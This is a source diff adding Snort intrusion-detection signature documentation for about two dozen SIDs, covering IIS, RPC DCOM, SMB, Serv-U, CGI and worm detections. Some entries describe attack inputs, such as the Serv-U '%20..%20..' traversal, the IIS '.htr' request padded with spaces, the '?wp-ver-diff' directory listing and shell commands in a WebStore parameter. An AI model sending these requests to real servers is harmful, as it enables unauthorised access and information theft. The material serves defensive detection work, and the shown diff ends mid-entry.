+Any host using the Apache module mod_gzip.
+
+--
+Attack Scenarios:
+An attacker can retrieve information on the server by making a request for the status of mod_gzip. This request would take the form http://www.foo.com/mod_gzip_status
+
+--
+Ease of Attack:
+Simple. No exploit required.
+
+--
+False Positives:
+The event will also be generated if Nessus is used to scan the host for this vulnerability.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable the mod_gzip module.
+
+Disallow access to mod_gzip_status from sources external to the protected network.
+
+Use the Apache directive <Location> to disallow access to the mod_gzip status page to the localhost only in the following manner:
+
+<Location /mod_gzip_status>
+    Order deny,allow
+    Deny from all
+    Allow from localhost
+</Location>
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2386.txt
+++ snort-2.8.5.2/doc/signatures/2386.txt
@@ -0,0 +1,74 @@
+Rule:  
+
+--
+Sid:
+2386
+
+--
+Summary:
+This event is generated when an attempt is made to scan for a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library using 
+Nessus.
+
+--
+Impact:
+Intelligence gathering.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+This event indicates a possible attempt to enumerate vulnerable hosts using 
+Nessus.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2221.txt
+++ snort-2.8.5.2/doc/signatures/2221.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2221
+
+--
+Summary:
+This event is generated when an attempt is made to access ws_mail.cgi on an internal web server. This may indicate an attempt to exploit a remote command execution vulnerability in cgiCentral WebStore 400 4.14.
+
+--
+Impact:
+Execution of arbitrary code. An attacker must be an authenticated WebStore administrator to successfully execute this exploit.
+
+--
+Detailed Information:
+cgiCentral WebStore 400 is an online shopping cart application for web servers. It contains a vulnerability in the "kill" parameter, where a malicious user with an authorized administrative WebStore account can execute arbitrary code on the web server and gain root access to the compromised server. 
+
+--
+Affected Systems:
+Any web server running cgiCentral WebStore 400 4.14 or WebStore 400 CS 4.14.
+
+--
+Attack Scenarios:
+An attacker with a valid WebStore administrator account sends a specially crafted HTTP request with shell commands in the URL's kill parameter. The shell commands are then executed with the security context of the server, allowing the attacker to obtain root access to the compromised machine.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses ws_mail.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is unknown if this vulnerability was fixed with WebStore 4.15. Contact the vendor, RDC Software (http://www.ratite.com/) for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/2861
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1186.txt
+++ snort-2.8.5.2/doc/signatures/1186.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid:
+1186
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in some versions of Netscape Enterprise Server.
+ 
+--
+Impact:
+Information leak which could provide an attacker with the data needed to
+launch further attacks or gain more detailed information about your web server.
+
+--
+Detailed Information:
+A user can see a directory listing by appending a Web Publishing command
+to the end of a directory URL, for example: "http://www.sun.com/?wp-ver-diff".
+
+This exploit will work on Netscape Enterprise Server regardless of
+directory indexing settings.  
+
+It will not work on iPlanet Web Server if directory indexing is set to
+"none" or "fancy" (the default). Web Publishing need not be enabled for
+this exploit to work.
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.0, 3.51 and 3.6
+
+-- 
+Attack Scenarios:
+The gathering of information such as directory listings is valuable when
+planning to attack a web server. 
+
+--
+Ease of Attack:
+Simple. No exploit software required however, an automated tool for
+scanning exists as does an exploit script.
+
+--
+False Positives:
+A web server that uses URLs which contain web publishing commands.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable directory indexing. For earlier versions of Netscape Enterprise
+Server, this may not fix the problem. On iPlanet, you can also change
+the indexing type to "fancy".
+
+To fix the potential DOS vulnerability, upgrade to at least iWS 4.1 SP8.
+
+--
+Contributors:
+Snort documentation contributed by Kevin Peuhkurinen
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+iPlanet Knowledge Base Article 4302:
+http://knowledgebase.iplanet.com/ikb/kb/articles/4302.html 
+
+iPlanet Knowledge Base Article 7761:
+http://knowledgebase.iplanet.com/ikb/kb/articles/7761.html 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/727.txt
+++ snort-2.8.5.2/doc/signatures/727.txt
@@ -0,0 +1,91 @@
+Rule:
+
+--
+Sid:
+727
+
+
+--
+Summary:
+This event is generated when worm activity is detected. More specifcally
+this event indicates possible "My Romeo" propogation.
+
+--
+Impact:
+Serious. The victim host may be infected with a worm.
+
+--
+Detailed Information:
+This worm propogates via electronic mail and exploits a known
+vulnerability in the way that versions of Microsoft Outlook and Internet
+Explorer handle trusted HTML pages. The worm is launched via a compiled
+HTML file (.chm) which is used by Microsoft WIndows Help.
+
+The executable part of the worm is called from within the trusted
+compiled HTML file. The worm attempts to propagate using hard coded
+addresses of SMTP servers.
+
+This worm is also Known As: Romeo and Juliet, W32/Verona, TrojBlebla.A
+
+--
+Affected Systems:
+	Microsoft Windows 9x
+	Microsoft Windows 2000
+
+--
+Attack Scenarios:
+Symantec Anti-Virus center states that the worm arrives as an email
+message that has an HTML body and two attachments named Myjuliet.chm
+and Myromeo.exe. The subject of the email is selected at random from
+the following set:
+
+Romeo&Juliet
+hello world
+subject
+ble bla, bee
+I Love You ;)
+sorry...
+Hey you !
+Matrix has you...
+my picture
+from shake-beer
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Legitimate electronic mail containing the known subject lines used by
+MyRomeo may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Use Anti-Virus software to detect and delete virus laden email.
+
+This worm makes changes to the system registry, removal of the affected
+registry keys should be done using an appropriate virus removal tool or
+by an experienced Windows administrator.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+McAfee
+http://vil.nai.com/vil/content/v_98894.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blebla.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/273.txt
+++ snort-2.8.5.2/doc/signatures/273.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+273
+
+--
+Summary:
+This event is generated when a remote attacker transmits fragmented IGMP packets with malformed headers to the internal network, indicating an IGMP Denial of Service (DoS) attack.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+If an IGMP packet with a malformed header is transmitted to an unpatched Microsoft Windows computer, the computer may crash when it attempts to process the packet.  
+
+--
+Affected Systems:
+Microsoft Windows 95
+Microsoft Windows 98
+Microsoft Windows 98 SE
+Microsoft Windows NT 4
+
+--
+Attack Scenarios:
+An attacker sends fragmented IGMP packets with malformed headers to a target computer. If the computer is running an unpatched version of Windows, it may crash.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the latest patches available for your operating system. See http://www.microsoft.com/technet/security/bulletin/ms99-034.asp for more information.
+
+Implement a packet-filtering firewall to block inappropriate traffic to the network.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/514
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms99-034.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/899.txt
+++ snort-2.8.5.2/doc/signatures/899.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+899
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1772.txt
+++ snort-2.8.5.2/doc/signatures/1772.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1772
+
+--
+Summary:
+This event is generated when an attempt is made to access the
+pbserver.dll component associated with the Microsoft Phone Book Service. 
+
+--
+Impact:
+Remote access. Malicious access of the pbserver.dll component can allow
+the execution of arbitrary commands on a vulnerable server.
+
+--
+Detailed Information:
+The Microsoft Phone Book Service allows dial-in clients to download
+phone book updates from the Internet Information Server (IIS) running
+the Phone Book Service.  The pbserver.dll is the Internet Services
+Application Programming Interface (ISAPI) that implements the update
+service.  A buffer overflow exists in pbserver.dll that may permit the
+execution of arbitrary commands on the server. 
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows 2000 Server
+
+--
+Attack Scenarios:
+An attacker can craft an HTTP request for a phone book update to a host
+running the Phone Book Service.
+
+--
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Delete pbserver.dll if the Phone Book Service is unnecessary. 
+
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1428.txt
+++ snort-2.8.5.2/doc/signatures/1428.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1428
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+--
+Affected Systems:
+	All systems running multimedia applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/415.txt
+++ snort-2.8.5.2/doc/signatures/415.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+415
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Information Reply datagram.
+
+--
+
+Impact:
+ICMP Information Reply datagrams contain the network number of the network segment the datagram was generated on.  This could be an indication of an improperly configured host attempting to locate the network number of the subnet it is located in.
+
+--
+
+Detailed Information:
+This message is generated in response to an ICMP Information Request Message.  Hosts that generated ICMP Information Request Messages are attempting to obtain the network number of subnet it is on.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 16 datagrams are not normal network activity.  Hosts generating ICMP Information Request messages or Information Reply Messages should be checked for configuration errors.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/360.txt
+++ snort-2.8.5.2/doc/signatures/360.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+--
+Sid:
+360
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known vulnerability in Serv-U FTP from CatSoft.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+Serv-U FTP from CatSoft is an FTP server for Windows 2000, NT and 9x systems.
+
+An attacker can download and upload files on the same partition as the ftp root. The attacker can use a standard user account with write and read access to a home folder.
+
+The vulnerability appears in Catsoft Serv-U FTP Server version 2.5a-h. A Unicode support implementation error was made, which allows an attacker to submit %20..%20.. to receive a "..", which allows an attacker to traverse the directory structure of the server. 
+
+--
+Affected Systems:
+CatSoft Serv-U 2.4
+CatSoft Serv-U 2.5
+Note: CatSoft Serv-U 2.5i is not affected.
+
+--
+Attack Scenarios:
+Any standard user can break into the system root and access any file. An attacker could also guess a login and weak password, login and use the directory traversal to gain the Serv-U FTP Server's configuration file. The configuration file can be modified to give "execute" rights, uploaded using %20. directory traversal and trojans can be installed.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Check FTP log files for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3163.txt
+++ snort-2.8.5.2/doc/signatures/3163.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3163
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1492.txt
+++ snort-2.8.5.2/doc/signatures/1492.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1492
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2977.txt
+++ snort-2.8.5.2/doc/signatures/2977.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2977
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1021.txt
+++ snort-2.8.5.2/doc/signatures/1021.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+Sid:
+1021
+
+--
+
+Summary:
+This event is generated when an attempt is made to retrieve file
+contents by exploiting a vulnerability in Microsoft Internet 
+Information Server (IIS) ISAPI component.
+
+--
+Impact:
+Information Disclosure.
+
+--
+Detailed Information:
+Default installations of IIS 4.0 and IIS 5.0 contain a vulnerability in
+ISM.DLL that can allow an attacker to retrieve the contents of
+files on the system.  This could be used to retrieve web application
+source code or the contents of other sensitive files.
+
+--
+Affected Systems:
+	Microsoft IIS 4.0 and 5.0
+	Multiple vendor implementations of IIS.
+
+--
+Attack Scenarios:
+The attacker sends a URL containing the file to be retrieved (without the
+extension), followed by approximately 230 "%20" (ascii space) characters 
+followed by ".htr".
+
+Note: This attempt can only be performed once. The server must be
+restarted to make another sucessful request.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Check server logs for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE:   CAN-2000-0457
+Bugtraq:  BID 1193
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3137.txt
+++ snort-2.8.5.2/doc/signatures/3137.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3137
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1440.txt
+++ snort-2.8.5.2/doc/signatures/1440.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1440
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+--
+Affected Systems:
+	All systems running multimedia applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3309.txt
+++ snort-2.8.5.2/doc/signatures/3309.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3309
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000130.txt
+++ snort-2.8.5.2/doc/signatures/100000130.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+100000130
+
+-- 
+Summary: 
+This event is generated when a request for the file "Filelist.html" is sent to 
+the PY Software Active Webcam Server. 
+
+-- 
+
+Impact: 
+A denial of service will result, and the server will need to be manually 
+restarted.
+
+--
+Detailed Information:
+Requests for the file "Filelist.html" will cause the PY Software Active Webcam 
+Server to crash. This rule looks for such requests on port 8080, the default 
+port for this server.
+
+--
+Affected Systems:
+PY Software Active WebCam 4.3
+PY Software Active WebCam 5.5
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, there are no known workarounds or fixes.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1166.txt
+++ snort-2.8.5.2/doc/signatures/1166.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+Sid:
+1166
+
+--
+
+Summary:
+This event is generated when an attempt is made to download the file ws_ftp.ini
+via a web request.
+
+--
+Impact:
+Serious. Information Disclosure.
+
+--
+Detailed Information:
+When a user of WS_FTP chooses "save password" when connecting to an FTP
+server, the password is stored in the file ws_ftp.ini which may be
+accessible via a web server. The stored passwords use a weak encryption
+scheme that is easy broken.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+An attacker might be able to retrieve the file, use one of the widely
+available password cracking tools and gain valid login information to
+the server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Check the host for signs of compromise.
+
+Change all passwords used on the host.
+
+Disallow the use of ftp on the server, consider the use of scp to
+transfer files.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000482.txt
+++ snort-2.8.5.2/doc/signatures/100000482.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000482
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "BoastMachine" application running on a webserver. 
+Access to the file "vote.php" using a remote file being passed as the "bmc_dir" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "bmc_dir" parameter in the "vote.php" script used by the 
+"BoastMachine" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BoastMachine
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2936.txt
+++ snort-2.8.5.2/doc/signatures/2936.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2936
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
